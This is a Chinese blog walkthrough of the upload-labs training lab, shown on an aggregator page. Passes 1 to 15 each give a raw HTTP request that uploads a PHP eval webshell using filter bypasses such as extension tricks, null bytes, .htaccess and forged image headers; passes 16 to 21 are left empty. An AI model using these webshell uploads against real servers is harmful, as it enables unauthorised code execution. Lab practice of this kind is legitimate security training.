惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Vercel News
Vercel News
The GitHub Blog
The GitHub Blog
博客园 - 【当耐特】
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Recent Announcements
Recent Announcements
D
Docker
GbyAI
GbyAI
酷 壳 – CoolShell
酷 壳 – CoolShell
WordPress大学
WordPress大学
The Cloudflare Blog
雷峰网
雷峰网
A
About on SuperTechFans
小众软件
小众软件
博客园 - Franky
博客园 - 聂微东
F
Full Disclosure
大猫的无限游戏
大猫的无限游戏
C
Check Point Blog
MongoDB | Blog
MongoDB | Blog
G
Google Developers Blog
Microsoft Azure Blog
Microsoft Azure Blog
U
Unit 42
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
V
V2EX
Engineering at Meta
Engineering at Meta
宝玉的分享
宝玉的分享
aimingoo的专栏
aimingoo的专栏
量子位
P
Proofpoint News Feed
Hugging Face - Blog
Hugging Face - Blog
博客园_首页
罗磊的独立博客
Martin Fowler
Martin Fowler
D
DataBreaches.Net
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
S
Secure Thoughts
Project Zero
Project Zero
L
LangChain Blog
阮一峰的网络日志
阮一峰的网络日志
C
Cybersecurity and Infrastructure Security Agency CISA
T
Tailwind CSS Blog
S
Schneier on Security
Blog — PlanetScale
Blog — PlanetScale
The Hacker News
The Hacker News
Spread Privacy
Spread Privacy
Security Latest
Security Latest
NISL@THU
NISL@THU
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
C
CXSECURITY Database RSS Feed - CXSecurity.com
J
Java Code Geeks

6Jyc5p+a

【笔记】通过NapCat和AstrBot实现QQ机器人 【笔记】部署NapCat 【笔记】部署AstrBot 【笔记】Poetry学习笔记 【笔记】uv学习笔记 【笔记】Nodejs通过mysql2操作MySQL数据库 【笔记】CodeBuddy学习笔记 【笔记】MiMoCode学习笔记 【笔记】OpenCode使用XiaomMiMo作为供应商 【笔记】OpenCode学习笔记 【笔记】IDEA的AiAssistant使用自定义的Agent 【笔记】MacOS上删除TimeMachine时间机器备份 【笔记】MacOS上部署XiaomiMiloco 【笔记】Docker的上下文 【源码】Python3创建1x1像素的图片 【靶场】xss-labs通关攻略 【笔记】Brave迁移ProxySwitchyOmega数据到ZeroOmega 【笔记】通过Docker部署DVWA 【笔记】通过Docker部署xss-labs 【笔记】通过Docker部署upload-labs 【笔记】通过Docker部署Vulhub 【笔记】宝塔通过Docker部署SQLI-LABS 【笔记】宝塔部署Docker 【笔记】通过Docker部署SQLI-LABS 【靶场】SQLI-LABS通关攻略 【笔记】MSYS2学习笔记 【笔记】Cygwin学习笔记 【笔记】Windows添加自定义右键菜单项 【笔记】Linux上和MacOS上配置环境变量 【笔记】命令行配置HTTP代理 【笔记】Windows上配置环境变量 【踩坑】Windows上在IDEA中配置Codex报错 【笔记】start学习笔记 【笔记】Windows的CMD命令学习笔记 【笔记】Java的PriorityQueue和PriorityBlockingQueue 【笔记】IDEA通过AIAssistant安装Codex 【笔记】bcrypt学习笔记 【速查表】浏览器默认禁用的不安全端口 【笔记】Astro学习笔记 【代码】Python3实现从NTP服务器同步时间 【笔记】Koa学习笔记 【笔记】Solidity计算字符串的MD5值 【笔记】Hardhat学习笔记 【笔记】Go安装笔记 【笔记】CVE-2024-3094漏洞利用 【笔记】CVE-2026-43284和CVE-2026-43500漏洞利用 【笔记】CVE-2023-3567漏洞利用 【代码】Python3读写M1卡 【笔记】M1卡学习笔记 【笔记】Python3中文转拼音 【代码】Python3生成中国大陆姓名拼音 【代码】Python3爬取中国大陆手机号段 【笔记】Nodejs发送请求 【笔记】Trello通过API添加待办事项 【笔记】Nodejs的流和缓冲区 【笔记】Nodejs的事件 【笔记】Nodejs的文件和目录操作 【笔记】CNVD-2020-10487漏洞利用 【笔记】CVE-2017-12617漏洞利用 【笔记】PHP输出源码 【笔记】PHP的Phar 【笔记】通过Docker部署OnlineTools 【笔记】XML学习笔记 【笔记】Windows的用户和组 【笔记】CVE-2006-7243漏洞利用 【代码】JS将目录编号转换为十六进制 【笔记】PHP抑制所有报错 【笔记】HFish学习笔记 【笔记】JumpServer学习笔记 【笔记】Conpot学习笔记 【笔记】南墙WAF学习笔记 【笔记】堡塔云WAF学习笔记 【笔记】Windows的远程桌面服务 【笔记】Windows的防火墙
【靶场】upload-labs通关攻略
57uv6Z6g · 2026-07-06 · via 6Jyc5p+a

前言

upload-labs通关攻略

Pass-01

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-01/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-02

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-02/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-03

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-03/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.phtml"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.phtml建立连接

Pass-04

  • 注入``.htaccess`文件
request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-04/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: octet-stream

SetHandler application/x-httpd-php
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-04/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.txt"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.txt建立连接

Pass-05

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-05/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.PHP"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.PHP建立连接

Pass-06

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-06/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php ."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.PHP建立连接

Pass-07

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-07/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-08

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-08/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php::$DATA"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.PHP建立连接

Pass-09

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-09/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php. ."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-10

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-10/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.pphphp"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-11

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-11/index.php?save_path=../upload/x.php%00
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-12

0:这里的0需要将10进制的30改为16进制的00

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /Pass-12/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="save_path"

../upload/x.php0
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-13

GIF

00:将16进制的30 30改为16进制的47 49

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.gif建立连接

JPEG

00:将16进制的30 30改为16进制的FF D8

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.jpeg建立连接

PNG

00:将16进制的30 30改为16进制的89 50

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.png建立连接

Pass-14

GIF

0000:将16进制的30 30 30 30改为16进制的47 49 46 38

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.gif建立连接

JPEG

  • payload部分数据需要转换为16进制数据
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg

FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.jpeg建立连接

PNG

00000000:将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.png建立连接

Pass-15

GIF

0000:将16进制的30 30 30 30改为16进制的47 49 46 38

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.gif建立连接

JPEG

  • payload部分数据需要转换为16进制数据
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpg"
Content-Type: image/jpeg

FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.jpg建立连接

PNG

00000000:将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.png建立连接

Pass-16

request
1

Pass-17

request
1

Pass-18

request
1

Pass-19

request
1

Pass-20

request
1

Pass-21

request
1

未完待更

参考文献

CSDN——不会码字的笨蛋奶妈